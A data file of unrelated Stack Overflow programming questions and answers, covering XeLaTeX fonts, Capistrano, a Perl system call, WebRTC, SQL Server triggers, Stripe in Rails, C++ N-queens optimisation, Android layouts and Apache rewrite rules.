1298071	0	 <p>You can do this easily in XeLaTeX:</p> <pre><code>\usepackage{fontspec} ... \fontspec[ItalicFont=*,ItalicFeatures=FakeSlant]{Minion Pro} </code></pre> <p>Highly undesirable, however, if there's any chance you can get a <a href="http://www.fonts.com/findfonts/detail.htm?pid=414411" rel="nofollow noreferrer">real italic</a>.</p> <p>Update: why undesirable? Because font outlines are not designed to be distorted! Any sort of transformation besides linear scaling in both directions will change the relationship between the inner/outer curves of the letters, effectively going against the wishes of the font designer.</p> <p>If you want to highlight something in a different font than the roman and not use italic, try something completely different like a harmonising sans serif, for example.</p>
18122185	0	Capistrano: How to disable "try_sudo" from a task <p>I'm currently using capistrano for deploy scripts. I'm working in a constrained environment where sudo does not have certain permissions, namely to create symlinks. The capistrano task create_symlink calls try_sudo by default. Is there a way I can add a condition to the task so that try_sudo is ignored?</p>
5416030	0	How can I get return value when using awk in perl script? <p>I am trying submit to $process the result of this <strong>system call</strong> </p> <pre><code>my $process= system "adb shell ps | egrep adb | awk '{print $1}' "; </code></pre> <p>but when <code>print " $process \n";</code> I have got zero</p> <p>Any suggestions</p>
20648266	0	 <p>Your "less than" symbol in your for loop is backwards. As such, your loop is exiting without running the code inside.</p>
3031818	0	 <p>You'll have to do quite a bit of drawing by yourself. This MSDN section deals with <a href="http://msdn.microsoft.com/en-us/library/kxys6ytf%28v=VS.100%29.aspx" rel="nofollow noreferrer">Custom Control Painting and Rendering</a> and the documentation for <a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.control.region.aspx" rel="nofollow noreferrer">Control.Region</a> has a sample for making round buttons that you might be able to adapt.</p> <p>I'd suggest having a look at the <a href="http://www.codeproject.com/" rel="nofollow noreferrer">codeproject</a> site as well, a lot of people have written articles there about customizing various controls</p>
33543346	0	Can I simplify WebRTC signalling for computers on the same private network? <p>WebRTC signalling is driving me crazy. My use-case is quite simple: a bidirectional audio intercom between a kiosk and to a control room webapp. Both computers are on the same network. Neither has internet access, all machines have known static IPs.</p> <p>Everything I read wants me to use STUN/TURN/ICE servers. The acronyms for this is endless, contributing to my migraine but if this were a standard application, I'd just open a port, tell the other client about it (I can do this via the webapp if I need to) and have the other connect.</p> <p>Can I do this with WebRTC? Without running a dozen signalling servers?</p> <p>For the sake of examples, how would you connect a browser running on 192.168.0.101 to one running on 192.168.0.102?</p>
39453787	0	SQL Server 2008 R2: trigger after update <p>This is my first post so please bear with me. Here are the tables I'm working with and I'm only showing the relevant columns:</p> <p><strong>Movement</strong>:</p> <pre><code> id cnt_tare_weight chassis_tare_weight </code></pre> <p><strong>Stop</strong>:</p> <pre><code> movement_id order_id </code></pre> <p>For each movement record, there are 2 or more stop records. The way this works, is that we create an order and create the stops. The stops are grouped into movements. </p> <p>Here's some example data:</p> <p><strong>Movement</strong>:</p> <pre><code>id cnt_tare_weight chassis_tare_weight ------------------------------------------------- 1545257 4525.2 3652.2 1545258 null null </code></pre> <p><strong>Stop</strong>:</p> <pre><code>order_id movement_id ------------------------ 0933774 1545257 0933774 1545257 0933774 1545258 0933774 1545258 </code></pre> <p>Here's what I am trying to accomplish:</p> <p>When the <code>cnt_tare_weight</code> and/or <code>chassis_tare_weight</code> are updated in the <code>movement</code> record, I need to copy this data to all other movement records for that order. I want to use a trigger after update to do this. </p> <p>Here is what I've come up with but and I'm not sure it will work. I would like to see if what I'm wanting do is correct or if I'm missing something. </p> <p>Here's my SQL:</p> <pre><code>CREATE TRIGGER set_tare_weights ON movement AFTER UPDATE AS BEGIN SET NOCOUNT ON; DECLARE @movement_id AS INT; DECLARE @cnt_tare_weight AS DECIMAL(8,1); DECLARE @chz_tare_weight AS DECIMAL(8,1); DECLARE @order_id AS int; SELECT @movement_id = inserted.id FROM INSERTED IF update(cnt_tare_weight) BEGIN SET @cnt_tare_weight = 'Updated cnt_tare_weight' END IF update(chz_tare_weight) BEGIN SET @chz_tare_weight = 'Updated chz_tare_weight' END SELECT @order_id = order_id FROM stop WHERE movement_id = @movement_id UPDATE movement SET cnt_tare_weight = @cnt_tare_weight, chz_tare_weight = @chz_tare_weight WHERE @movement_id IN (SELECT DISTINCT movement_id FROM stop WHERE order_id = @order_id) AND id &lt;&gt; @movement_id END </code></pre> <p>I have never created a SQL Server trigger before. I'm not sure if this will work or if I need to do something more. Do I need to create a trigger that calls a stored procedure? Or will the above work? </p> <p>Thanks for any help!</p>
15646109	0	Running gearman on a Heroku Worker <p>I have a PHP app running on heroku (cedar stack). I'm at the point where I need to start passing jobs off to workers. </p> <p>I've looked a both RabbitMQ and gearman. It seems like the best / simplest solution for my app would to use gearman. </p> <p>So I'm guessing the gearman server would run on the main webapp dyno and then the gearman workerapi would run on separate heroku workers, along with the php code that should do the work. </p> <p>How can I go about doing this with Heroku? </p> <p>Thanks</p>
18035156	0	Use transient keyword in not Serializable class <p>Would it make sense to use the <code>transient</code> keyword in a class that does not implement <code>Serializable</code>? </p> <p>Because classes that do not implement <code>Serializable</code> could still be serialized by the <code>ObjectOutputStream</code>.</p>
8175367	0	iphone UIview animation resize in like disappear in water and comes back floating <p>I don't want to fade in and fade out like most common solution for the uiview animation. I would like to have the uiview resize to small until it disappear and comes back the same way. Another way to say it is having a camera pointing closely at the table with all the object in it (UIView) and camera backs up and the more it backs up the smaller the table gets. Which is why i titled which is mainly my app the whole uiview sinks into the water and floats back up. Hopefully i'll find a tutorial or someone's suggestion for the solution. everything resize/shrinks in the middle/center of the screen.</p> <p>UPDATE*** i would like it to shrink in random position of the screen and appear from random position of the screen also. Also my subview from other class is viewdidload in mainView (View = [[View alloc] initWithFrame:CGRectMake(0, 40, 300, 300)];)</p>
15071133	0	 <p>As far as I know the content isn't loaded when the div's display style is set to none.</p> <p>Try setting something like this</p> <pre><code>&lt;div style="width: 1px; height: 1px; position: absolute; top: -9999px; left: -9999px;"&gt; &lt;div id="player"&gt;&lt;/div&gt; &lt;/div&gt; </code></pre>
4076169	0	How remove "installed twice" errors in RCP Product <p>I have an RCP product based on 2 features: my product feature and the org.eclipse.rcp feature. It worked perfectly at export time and at run time.</p> <p>Last week I decided to add the error log view to my product. I simply added the view to my "persective" and the logview plugin as plugin dependency in my main plugin. Just work fine !!!</p> <p>After exporting my product (through headless build) I noticed that when launching my product I have a lot of errors in the error log view (not acceptable for customers even if all is working fine). These errors are related to the RCP feature plugins and say:</p> <p>the plugin org.eclipse.xxx (one error for each plugin of the RCP feature) has already been installed from /plugins/org.eclipse.xxx </p> <p>Any idea on the way to avoid these errors ? I guess this means I have something wrong in my product configuration.</p>
33088122	0	 <p>my suggestion is: just keep codding the way it is, until a problem rises or an extremely need for the change appears.</p>
21736951	0	Saving a CSV into a blob <p>I would like to save CSV files that users upload to a blob. I would than like to retrieve the CSV file out of the blob in a format that I can use with the ruby CSV library. Any ideas on how I can accomplish that? </p>
32955638	0	How to rewrite this on jQuery <p>I have ul with 5 li inside, need to select one of them with index [curSlide-1], I writed it on JS, but can't do that on jQuery:</p> <pre><code>var $bullets = $("ul").find(".bullet"); var curSlide = 5; document.getElementsByClassName("bullet")[curSlide-1].className = "bullet active-bullet"; </code></pre> <p>I've tried to write it on jQuery, but it doesn't work:</p> <pre><code>$bullets[curSlide-1].addClass("active-bullet"); </code></pre> <p>Can somebody tell how to rewrite it correctly?</p>
18277818	0	Is it possible to change the min-height of Google+ comment on Blogger? <p>I just created a new <strong>Blogger blog</strong> and successfully incorporated the <strong>Google+ comment</strong> using the Blogger built-in feature. But I noticed that a <code>div id="widget_bounds"</code> is consuming too much of empty spaces with the <code>min-height=600px</code> CSS property. I suspect that the code was generated on the fly and I couldn't find the <code>div</code> in my Blogger template code. I wonder if it is possible to change its <code>min-height</code> to something like <code>250px</code> and let it auto-expands as the comment grows?</p> <p>You can refer my website with this URL: <a href="http://blog.malaysiatraining.net/2013/08/official-blog-announcement.html" rel="nofollow">http://blog.malaysiatraining.net/2013/08/official-blog-announcement.html</a></p> <p>Any advice would be appreciated. Thank you.</p>
1937038	0	Set mouse cursor as hand on textInput without losing text selection <p>I want to have the mouse cursor to be changed to hand when used for <em>entering</em> the <code>&lt;mx:textInput&gt;</code>. When the field is already on focus, text selection should be available.</p> <p>I tried any combination of <code>useHandCursor="true"</code>, <code>buttonMode="true"</code> and <code>mouseChildren="false"</code>, and the closest result is when using all three of them. Then the hand cursor does appear, but the text field loses its selection 'abilities' (text cannot be selected using the mouse). This is logical, since <code>mouseChildren="false"</code> disables this. But how do I acheive the desired result?</p> <p>P.S. using Flex 3.1.</p>
11333623	0	Rails app using stripe for payments: can't transmit plan_id from app to stripe website <p>I'm trying to integrate stripe into my app. I'm following a Railscast (#288) but I'm getting the impression there a are few things that Ryan isn't mentioning explicitly.</p> <p>My problem is that the plan_id on my app doesn't get transmitted over to Stripe. Once I generate a test transaction in my app and I log on to Stripe, it will show that a new customer with a valid card was created, but the plan_id isn't transmitted. I do have plans setup on stripe. But since no plan_id is submitted, the credit card never gets charged. So I've got customers, but no payments.</p> <p>Here's my subscription/new.html.haml. I'm wondering if I need to assign a value to the hidden field "plan_id."</p> <pre><code>%p = @plan.name = @plan.price = form_for @subscription do |f| - if @subscription.errors.any? .error_messages %h2 = pluralize(@subscription.errors.count, "error") prohibited this subscription from being saved: %ul - @subscription.errors.full_messages.each do |msg| %li= msg = f.hidden_field :plan_id = f.hidden_field :stripe_card_token .field = f.label :email = f.text_field :email - if @subscription.stripe_card_token Credit card has been provided - else .field = label_tag :card_number, "Credit Card Number " = text_field_tag :card_number, nil, name: nil .field = label_tag :card_code, "Security Code on Card (CVV)" = text_field_tag :card_code, nil, name: nil .field = label_tag :card_month, "Card Expiration" = select_month nil, {add_month_numbers_true: true}, {name: nil, id: "card_month"} = select_year nil, {start_year: Date.today.year, end_year: Date.today.year+15}, {name: nil, id: "card_year"} .stripe_error %noscript JavaScript is not enabled and is required for this form. First enable it in your web browser settings. .actions= f.submit "Subscribe" </code></pre> <p>Here's my subscription controller. The params(:plan_id) is passed using a string query.</p> <pre><code> def new @subscription = Subscription.new @plan = Plan.find_by_id(params[:plan_id]) end def create @subscription = Subscription.new(params[:subscription]) if @subscription.save_with_payment flash[:success] = "Thank you for subscribing!" redirect_to @subscription else render 'new' end end </code></pre> <p>Here's my model for subscription.rb</p> <pre><code>class Subscription &lt; ActiveRecord::Base has_many :users belongs_to :plan #validates_presence_of :plan_id, :email attr_accessible :stripe_card_token, :plan_id, :email attr_accessor :stripe_card_token def save_with_payment if valid? customer = Stripe::Customer.create(description:email, plan: plan_id, card: stripe_card_token) self.stripe_customer_token = customer.id save! end rescue Stripe::InvalidRequestError =&gt; e logger.error "Stripe error while creating customer: #{e.message}" errors.add :base, "There was a problem with your credit card." end end </code></pre>
24914838	0	 <p>Test this version, updated using C++11 features. Tested in GCC 4.9.0 with <code>-std=c++11</code>. Tested on Celeron 1.6&nbsp;GHz, 512&nbsp;MB RAM.</p> <p>Times in my PC:<br> Original: <strong>Duration (milliseconds): 12658</strong><br> First Version: <strong>Duration (milliseconds): 3616</strong><br> Optimized Version: <strong>Duration (milliseconds): 1745</strong><br></p> <p>Changes are:</p> <ul> <li>Using <code>vector</code> instead of <code>list</code> <a href="http://blog.davidecoppola.com/2014/05/20/cpp-benchmarks-vector-vs-list-vs-deque/">Benchmark</a>, and <a href="https://isocpp.org/blog/2014/06/stroustrup-lists">Words from Stroustrup</a>.</li> <li>Using const whatever we can, the compiler is able to optimize much more if it known that the value don't change.</li> <li>Using std::pair instead of Point.</li> <li>Using new for-loop with constant iterators.</li> </ul> <p>Source:</p> <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;chrono&gt; #include &lt;iomanip&gt; using namespace std; typedef std::pair&lt;int, int&gt; Point; #define LARGEUR_GRILLE 22 vector&lt;Point&gt; positions; bool verifierNonPrise(const Point&amp; emplacement) { bool nonPrise = true; for (const auto&amp; p : positions) { if (p.first != emplacement.first) { if (p.second == emplacement.second) { nonPrise = false; } if (abs(p.second - emplacement.second) == abs(p.first - emplacement.first)) { nonPrise = false; } } } return nonPrise; } bool placerDame(int i) { bool bonnePosition = false; for (int j = 1; j &lt;= LARGEUR_GRILLE &amp;&amp; !bonnePosition; j++) { Point emplacement(i, j); positions.emplace_back(emplacement); if (verifierNonPrise(emplacement) &amp;&amp; (i == LARGEUR_GRILLE || placerDame(i + 1))) { bonnePosition = true; } else { positions.pop_back(); } } return bonnePosition; } int main(int argc, char* argv[]) { std::chrono::system_clock::time_point begin_time = std::chrono::system_clock::now(); positions.reserve(LARGEUR_GRILLE); placerDame(1); for (const auto&amp; p : positions) { cout &lt;&lt; "(" &lt;&lt; p.first &lt;&lt; "; " &lt;&lt; p.second &lt;&lt; ")" &lt;&lt; endl; } std::chrono::system_clock::time_point end_time = std::chrono::system_clock::now(); long long elapsed_milliseconds = std::chrono::duration_cast&lt;std::chrono::milliseconds&gt;( end_time - begin_time).count(); std::cout &lt;&lt; "Duration (milliseconds): " &lt;&lt; elapsed_milliseconds &lt;&lt; std::endl; return 0; } </code></pre> <p>Some more deep changes.</p> <p>Changes include:</p> <ul> <li>Returning as early as possible. As soon as the queen can not be placed.</li> <li>Returning to a simpler Point class.</li> <li>Using find_if algorithm for searching queen placement.</li> </ul> <p>Source (some recommendation updated):</p> <pre><code>#include &lt;algorithm&gt; #include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;chrono&gt; #include &lt;iomanip&gt; using namespace std; struct Point { int x, y; }; #define LARGEUR_GRILLE 22 vector&lt;Point&gt; positions; bool verifierNonPrise(const Point&amp; emplacement) { return find_if(positions.cbegin(), positions.cend(), [&amp;emplacement](const Point&amp; p) { return (p.x != emplacement.x &amp;&amp; (p.y == emplacement.y || abs(p.y - emplacement.y) == abs(p.x - emplacement.x))); }) == positions.cend(); } bool placerDame(int i) { for (int j = 1; j &lt;= LARGEUR_GRILLE; j++) { Point emplacement{i, j}; positions.push_back(emplacement); if (verifierNonPrise(emplacement) &amp;&amp; (i == LARGEUR_GRILLE || placerDame(i + 1))) { return true; } else { positions.pop_back(); } } return false; } int main(int argc, char* argv[]) { std::chrono::system_clock::time_point begin_time = std::chrono::system_clock::now(); positions.reserve(LARGEUR_GRILLE); placerDame(1); for (const auto&amp; p : positions) { cout &lt;&lt; "(" &lt;&lt; p.x &lt;&lt; "; " &lt;&lt; p.y &lt;&lt; ")" &lt;&lt; endl; } std::chrono::system_clock::time_point end_time = std::chrono::system_clock::now(); long long elapsed_milliseconds = std::chrono::duration_cast&lt;std::chrono::milliseconds&gt;( end_time - begin_time).count(); std::cout &lt;&lt; "Duration (milliseconds): " &lt;&lt; elapsed_milliseconds &lt;&lt; std::endl; return 0; } </code></pre>
3228075	0	HashSet of Strings taking up too much memory, suggestions...? <p>I am currently storing a list of words (around 120,000) in a HashSet, for the purpose of using as a list to check enetered words against to see if they are spelt correctly, and just returning yes or no.</p> <p>I was wondering if there is a way to do this which takes up less memory. Currently 120,000 words is around 12meg, the actual file the words are read from is around 900kb.</p> <p>Any suggestions?</p> <p>Thanks in advance</p>
2988920	0	Getting list of states/events from a model that AASM <p>I successfully integrated the most recent AASM gem into an application, using it for the creation of a wizard. In my case I have a model order</p> <pre><code>class Order &lt; ActiveRecord::Base belongs_to :user has_one :billing_plan, :dependent =&gt; :destroy named_scope :with_user, ..... &lt;snip&gt; include AASM aasm_column :aasm_state aasm_initial_state :unauthenticated_user aasm_state :unauthenticated_user, :after_exit =&gt; [:set_state_completed] aasm_state : &lt;snip&gt; &lt;and following the event definitions&gt; end </code></pre> <p>Now I would like to give an administrator the possibility to create his own graphs through the AASM states. Therefore I created two additional models called OrderFlow and Transition where there order_flow has many transitions and order belongs_to order_flow. </p> <p>No problem so far. Now I would like to give my admin the possibility to dynamically add existing transitions / events to an order_flow graph. </p> <p>The problem now is, that I do not find any possibility to get a list of all events / transitions out of my order model. aasm_states_for_select seems to be the correct candidate, but I cannot call it on my order model. </p> <p>Can anyone help?</p> <p>Thx in advance. J. </p>
5522604	0	Are there any tutorials on coding a parser for SVG files to be used by box2D? <p>I am trying to create an iPhone game with fairly large levels. Hard coding the platforms and physics objects is very time consuming. I have seen some people have made their own parsers for svg files to use in box2D, and Riq is selling levelSVG but it is a little pricey for me at the moment, and I only need basic features. Is there a tutorial on how to code a parser available online?</p>
18210830	0	 <p>You have to print the <code>$value</code> bacause <code>$value</code> have original array value not index. And you are getting array in <code>$stdlist</code> from exploding this post variable <code>$_POST['stdlist']</code>.</p> <pre><code>foreach($stdlist as $value) { echo "&lt;br&gt;"; echo $value; } </code></pre> <p>Now you will get your required result.</p>
39772900	0	 <p>I figured out my problem, I set margin to my <code>AppCompatSpinner</code> and set top gravity to it with specific hight.</p> <pre><code>&lt;LinearLayout android:layout_width="match_parent" android:layout_height="wrap_content" android:gravity="bottom" android:orientation="horizontal"&gt; &lt;android.support.v7.widget.AppCompatSpinner android:id="@+id/spinner_countries" style="@style/Widget.AppCompat.Spinner.Underlined" android:layout_width="0dp" android:layout_height="wrap_content" android:layout_marginBottom="26dp" android:layout_weight="30" android:spinnerMode="dialog" /&gt; &lt;android.support.design.widget.TextInputLayout android:id="@+id/input_layout_mobile" style="@style/TextInputLayoutTheme" android:layout_width="0dp" android:layout_height="wrap_content" android:layout_weight="70" app:errorEnabled="true"&gt; &lt;com.cashu.app.ui.widgets.CustomEditText android:id="@+id/et_mobile" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_gravity="start" android:ems="12" android:gravity="center_vertical" android:hint="@string/mobile_hint" android:inputType="number" android:textSize="@dimen/font_size_normal" /&gt; &lt;/android.support.design.widget.TextInputLayout&gt; &lt;/LinearLayout&gt; </code></pre> <p><strong>[EDIT]</strong></p> <p>When my <code>TextInputLayout</code> has an error, I remove it by adding the following lines:</p> <pre><code>myTextInputLayout.setErrorEnabled(false); myTextInputLayout.setErrorEnabled(true); myTextInputLayout.setError(" "); </code></pre> <p>Why?</p> <ul> <li><p>This line: <code>myTextInputLayout.setErrorEnabled(false);</code> will clear the error from the <code>TextInputLayout</code></p></li> <li><p>This line: <code>myTextInputLayout.setErrorEnabled(true);</code> will enable error for the <code>TextInputLayout</code> again</p></li> <li><p>This line: <code>myTextInputLayout.setError(" ");</code> will prevent layout alignment disruption.</p></li> </ul> <p>Problem now is solved.</p>
19799914	0	 <p>I was able to solve this by setting the id of the layout that is inflated within each fragment to its position.</p> <p>What you would have to do is simply change the method onCreateView in you ContainerFragment class to:</p> <pre><code>@Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View v = inflater.inflate(R.layout.fragment_container, container, false); v.setId(CONTAINER_TYPE) return v; </code></pre> <p>This works because of the way the FragmentPagerAdapter implementation handles fragment tags.</p>
1117281	0	 <p>Give a look to the <a href="https://developer.mozilla.org/En/Window.setInterval" rel="nofollow noreferrer">setInterval</a> core function and to the jQuery's <a href="http://docs.jquery.com/Effects/toggle" rel="nofollow noreferrer">Effects/toggle</a> function:</p> <pre><code>setInterval(function(){$('#myDiv').toggle();}, 60000); </code></pre>
33463619	0	 <p>The problem may be here: </p> <p>/** MySQL hostname */ define('DB_HOST', 'www.abc.com'); //before 'localhost'</p> <p>Databases are almost always hosted at 'localhost' not at you domain.</p> <p>Try reverting to:</p> <p>/** MySQL hostname */ define('DB_HOST', 'localhost');</p> <p>MORE DETAILED ANSWER</p> <ol> <li><p>I suggest you create a default installation of WP -- including a stock database -- at NetworkSolutions. That will take care of configuring everything: site url, site home, database user, dbase pw, etc. </p></li> <li><p>Download your theme from your local install, and upload it to the new site. </p></li> <li><p>Then in your existing local WP install, go to Admin > Tools > Export and select everything you want to export to the new site. </p></li> <li><p>Go to the new site, Admin > Tools > Import, and import what you exported. Using the WP import/export should eliminate overwriting anything in the new database that should not be overwritten by your local install (site url, home url, users, etc.)</p></li> </ol>
40290896	0	 <p>I believe your call is matching the wrong overload of the helper method.</p> <p>As written, it will match this signature:</p> <pre><code>public static MvcHtmlString ActionLink(this HtmlHelper htmlHelper, string linkText, string actionName, object routeValues, object htmlAttributes) </code></pre> <p>Notice there is no controller in there.</p> <p>Try this instead:</p> <pre><code>@Html.ActionLink("View Staff", "Index", "Staff" , new { id = item.UnitCode }, null) </code></pre> <p>Which should match the right signature with controller:</p> <pre><code>public static MvcHtmlString ActionLink(this HtmlHelper htmlHelper, string linkText, string actionName, string controllerName, object routeValues, object htmlAttributes) </code></pre>
33207359	0	 <p>I would like to mention two things </p> <ol> <li><p>AngularJs is not about DOM Manipulation.</p></li> <li><p>working concept of directive ,it must be purely independent from the controller and all, must be working in all place.</p></li> </ol> <p>In my view the directive triggering must be on the basis of data.</p> <p>So there won't be a problem in using multiple directive in a single view if they are triggered according to data</p>
39956718	0	 <p>Here is a sample in JS to match your require, another language should the same.</p> <pre><code>/^gs:\/\/(.+?)\/(.+)$/ </code></pre> <p>Check result <a href="http://scriptular.com/#%5Egs%3A%5C%2F%5C%2F(.%2B%3F)%5C%2F(.%2B)%24%7C%7C%7C%7C%7C%7C%7C%7C%5B%22gs%3A%2F%2Fbucket%2Ffolder1%2Ffolder2%2Ftest.csv%22%5D" rel="nofollow">here</a> </p>
10959181	0	 <p>I would definitely avoid putting binaries in source control. You'd be far better off creating your own nuget repository containing your preferred versions of packages and either using nuget restore or some other way of "rehydrating" your dependencies for building. I use a simple batch file called nuget-update.bat which just looks at all packages.config files and gets any dependencies it finds.</p>
33061971	0	Selecting MediaRoute on behalf of user works but MediaRoute button is in disconnected state <p>I'm building an app that will launch a chromecast receiver application automatically without the user clicking the mediaroute button and selecting a route. The user has already selected their desired route, and my app attempts to connect to it for a short period of time until it succeeds (hopefully).</p> <p>When it does succeed, the app is launched onto the correct route, however the mediarouter menu item (the one used to select routes traditionally) is not updated, it still remains in the disconnected state. Once the user clicks on it (while the app is already connected to the receiver) it presents him with possible routes, and once he selects the route (the one that is already connected to and displaying the app) the media router menu item updates itself showing that it is connected and allowing the user to disconnect on the next click. </p> <p>I would like it to be updated once successfully connected to the receiver (route). This way the user will be able to disconnect with only a couple clicks (once on the menu item, and once on the 'Stop Casting' button).</p> <p>I am using the CastCompanionLibrary, though I do not think that it matters in this case.</p> <p>I am able to launch the receiver without user action by calling the MediaRouter.Callback directly like so:</p> <p><code>mCastManager.onRouteSelected(mMediaRouter, theRoute);</code></p> <p>Where <code>mMediaRouter</code> is the <code>MediaRouter</code> instance and <code>theRoute</code> is the <code>MediaRouter.RouteInfo</code> instance holding the pre-selected receiver route.</p> <p>Also, I am open to suggestions of better implementing automatic launch of the receiver application from a service/activity.</p>
31962848	0	how to do real time notification in my (own)app? <p>i am new to android. i need develop notification to my application. i have seen gcm (android hive) example and simple example of notification. </p> <p>i was confused with that example. please guide me how to do real time notication?</p> <pre><code> mn = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); nb = new NotificationCompat.Builder(this); nb.setSmallIcon(R.drawable.ic_action_mail_add); nb.setTicker("hi"); nb.setContentTitle("mail"); BitmapDrawable bd = (BitmapDrawable) getResources().getDrawable(R.drawable.ic_action_mail); Bitmap b= bd.getBitmap(); nb.setLargeIcon(b); nb.setContentText("haii.."); nb.setContentInfo("3 unread"); nb.setAutoCancel(true); Intent in = new Intent(this,NotificationActivity.class); PendingIntent pi = PendingIntent.getActivity(this, 0, in, PendingIntent.FLAG_UPDATE_CURRENT); nb.setContentIntent(pi); </code></pre>
19385963	0	 <p>Try this : <code>(?&lt;=\bHOUSE\s)(?:\d+-\w|\d+\s\w|\d+)\b</code></p> <p>NB. the order on a conditional statement is important, and the first successful match is taken, so if you have <code>\d+|\d+-\w</code> it will only match <strong>4</strong> in <strong>4-C</strong> but <code>\d+-\w|\d+</code> will match <strong>4-C</strong></p> <p><a href="http://regex101.com/r/gS0aO6" rel="nofollow">http://regex101.com/r/gS0aO6</a></p>
25785778	0	 <p>You aren't injecting it. There is no autowiring for the <code>RememberMeConfigurer</code>. Also why are you configuring so many beans?</p> <p>The <code>RememberMeAuthenticationProvider</code> is already created for you, if you want to use a different key specify it using <code>key("KEY")</code>. This in turn will be used to create the <code>RememberMeServices</code>.</p> <pre><code>@Configuration @EnableWebSecurity @EnableGlobalMethodSecurity(securedEnabled = true) public class SecurityConfig extends WebSecurityConfigurerAdapter { @Autowired UserDetailsService userDetailsService; @Autowired DatabasePersistentTokeRepositoryImpl databasePersistentTokeRepositoryImpl; @Override protected void configure(AuthenticationManagerBuilder auth) throws Exception { auth.userDetailsService(userDetailsService).passwordEncoder(new BCryptPasswordEncoder()); } @Override protected void configure(HttpSecurity http) throws Exception { http .rememberMe() .key("KEY") .tokenRepository(databasePersistentTokeRepositoryImpl) .tokenValiditySeconds((int) TimeUnit.SECONDS.convert(7, TimeUnit.DAYS)) .and() .csrf().disable(); } } </code></pre> <p>If you really need to set the <code>alwaysRemember</code> property to true you could use an <code>ObjectPostProcessor</code> to post process the filter and configure the <code>RememberMeServices</code> from there. </p> <p>You would also have injected the wrong type of <code>RememberMeServices</code> as the one configured doesn't use the <code>PersistentTokeRepository</code>.</p>
36156051	0	Scheduled mapreduce job on Google Cloud Platform <p>I'm developing a node.js application that basically <strong>stores user event logs in a database and shows insights about user action</strong>s. For achieving this event logs must be analyzed by using a <strong>Mapreduce</strong> job which would run <strong>once a day automatically</strong> (every night).</p> <p>I've found lots of tutorials about mapreduce on google cloud web site but I'm totally lost because there are several technologies and can't find a way to do it without using the command line and also there is no information about scheduling (<strong>I want that the whole analysis process to be entirely automated</strong>)</p> <p>Please, could you provide me advice about what google technologies should I use or where I can find a good tutorial?</p> <p>Thank you</p>
29027373	0	 <p>Solved it by using the following steps:</p> <ul> <li>Open an InputStream to the image as normal</li> <li>Write the stream to a ByteArrayOutputStream</li> <li>Compare the length of the ByteArrayOutputStream to the Content-Length header from the HttpURLConnection</li> <li>If mismatch then you've lost data in transit</li> <li>Otherwise you can convert your ByteArrayOutputStream to a ByteArrayInputStream and use with the BitmapFactory as you see fit</li> </ul>
3906270	0	 <p>You have to start <code>wait</code> by acquiring synchronization on the wait variable, e.g.</p> <pre><code>synchronized( this ) { this.wait( ); } </code></pre> <p>Please read the javadoc for <a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html#wait%28%29" rel="nofollow">wait</a> carefully and follow it to the letter, otherwise you'll be up to nasty surprises.</p>
21489225	0	 <p>Convert your month and year columns to strings concatenated with '-'s and add '-01' to the end. Then convert to a date.</p> <pre><code>UPDATE t SET t.[Date] = convert(date, convert(varchar(4), t.[Year]) + '-' + convert(varchar(2), t.[Month]) + '-01') FROM Table t </code></pre> <p>This will create a date for all records in your table.</p>
13222409	0	C# How to handle TCP packets/segments <p>A couple of questions about TCP. </p> <p>I know that the packet will be "split" or fragmented if it hits a network device with lower MTU etc. But the problems I have is understanding how I "rebuild" my payload in the application. (I've been trying for 2-3 hours now, but can't seem to get it right)</p> <p>First things first. When sending the packet, what are the pros/cons of the two following options;</p> <pre><code>NetworkStream ns = client.GetStream(); ns.Write(BitConverter.GetBytes(100)); ns.Write(BitConverter.GetBytes("Test")); </code></pre> <p>or</p> <pre><code>NetworkStream ns = client.GetStream(); byte[] payload = BitConverter.GetBytes(100).Concat(BitConverter.GetBytes("Test")); ns.Write(payload); //, 0, payload.Length); </code></pre> <p>And how do I rebuild the payload at the recv. part if it has been split? I would love a spoon-feeding on this one as I seem to miss some very important, but not so obvious, part in my current application.</p>
526231	0	 <p>If you just want to see how it can be achieved...</p> <p><a href="http://www.codeproject.com/KB/dotnet/Call_ironpython__in_C_.aspx" rel="nofollow noreferrer">Here's</a> one example to do that.</p>
15671833	0	Show/hide div when clicked on marker <p>I'm new to javascript and no idea where to start digging information how to implement my idea. I want to open a div like a pop-up over the map when a marker is clicked. I have around 15 markers and every marker has different content and images. The pop-up layout will stay the same. I believe making a div is easier than making a infobox, true?</p> <p>this is my photoshop sketch: <a href="http://cl.ly/image/0s3u2A1g2H2r" rel="nofollow">Sketch</a></p> <p>And this is what I have so far: <a href="http://shonderdos.nl/demo/" rel="nofollow">Demo</a></p> <p>What should I try, read and investigate? </p>
20303123	0	Verdana font issue <p>I must implement a website css from psd file. In psd some text is in Verdana, but when I use Verdana in css it appears thicker in a browser than Verdana in the psd file. Does anyone know the reason?</p>
2269515	0	 <p>Although it is not object-oriented, <a href="http://www.haskell.org/" rel="nofollow noreferrer"><strong>Haskell</strong></a> offers a significant number of the features that interest you:</p> <ul> <li><p>Syntax support for list comprehensions, plus <code>do</code> notation for a wide variety of sequencing/binding constructs. (Syntax support for dictionaries is limited to lists of pairs, e.g, </p> <pre><code>dict = ofElements [("Sputnik", 1957), ("Apollo", 1969), ("Challenger", 1988)] </code></pre></li> <li><p>Functions support full closures and multiple return values using tuple types. Keyword arguments are not supported but a powerful feature of "implicit arguments" can sometimes substitute.</p></li> <li><p>No runtime modification of classes, types or objects.</p></li> <li><p>Avoidance of specificying classes/types everywhere through <em>type inference</em>.</p></li> <li><p>Metaprogramming using Template Haskell.</p></li> </ul> <p>Also, just so you will feel at home, Haskell has significant indentation!</p> <p>I actually think Haskell has quite a different feel from Python overall, but that is primarily because of the extremely powerful static type system. If you are interested in trying a statically typed language, Haskell is one of the most ambitious ones out there right now.</p>
1915934	0	 <p>Yes, NUnit tests are supposed to be isolated and it is <strong>your</strong> responsibility to make sure they are isolated. The solution would be to reset ObjectFactory in the TearDown method of your test fixture. You can use ObjectFactory.EjectAllInstancesOf() for example.</p>
8286918	0	 <p>try adding the following to your .htaccess file in the root of your domain</p> <pre><code>RewriteEngine On RewriteBase / RewriteCond %{REQUEST_URI} !^/[^/]{2}/product/ [NC] RewriteCond %{REQUEST_URI} ^/([^/]{2})/([0-9]+.*)$ [NC] RewriteRule . /%1/product/%2 [L,R=301] </code></pre>
